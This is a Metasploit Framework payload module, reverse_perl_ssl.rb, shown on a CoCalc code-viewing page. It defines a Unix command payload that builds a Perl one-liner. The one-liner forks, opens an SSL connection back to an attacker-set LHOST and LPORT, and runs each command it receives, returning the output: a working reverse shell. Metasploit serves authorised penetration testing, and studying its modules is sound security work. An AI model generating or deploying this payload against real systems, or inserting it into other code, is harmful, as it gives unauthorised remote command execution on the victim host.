CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 173
10
11
include Msf::Payload::Single
12
include Msf::Sessions::CommandShellOptions
13
14
def initialize(info = {})
15
super(merge_info(info,
16
'Name' => 'Unix Command Shell, Reverse TCP SSL (via perl)',
17
'Description' => 'Creates an interactive shell via perl, uses SSL',
18
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
19
'License' => BSD_LICENSE,
20
'Platform' => 'unix',
21
'Arch' => ARCH_CMD,
22
'Handler' => Msf::Handler::ReverseTcpSsl,
23
'Session' => Msf::Sessions::CommandShell,
24
'PayloadType' => 'cmd',
25
'RequiredCmd' => 'perl',
26
'Payload' =>
27
{
28
'Offsets' => { },
29
'Payload' => ''
30
}
31
))
32
register_advanced_options(
33
[
34
OptString.new('PerlPath', [true, 'The path to the Perl executable', 'perl'])
35
]
36
)
37
end
38
39
#
40
# Constructs the payload
41
#
42
def generate(_opts = {})
43
vprint_good(command_string)
44
return super + command_string
45
end
46
47
#
48
# Returns the command string to use for execution
49
#
50
def command_string
51
lhost = datastore['LHOST']
52
ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
53
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
54
cmd = "#{datastore['PerlPath']} -e 'use IO::Socket::SSL;$p=fork;exit,if($p);"
55
cmd += "$c=IO::Socket::SSL->new(PeerAddr=>\"#{lhost}:#{datastore['LPORT']}\",SSL_verify_mode=>0);"
56
cmd += "while(sysread($c,$i,8192)){syswrite($c,`$i`);}'"
57
end
58
end
59
60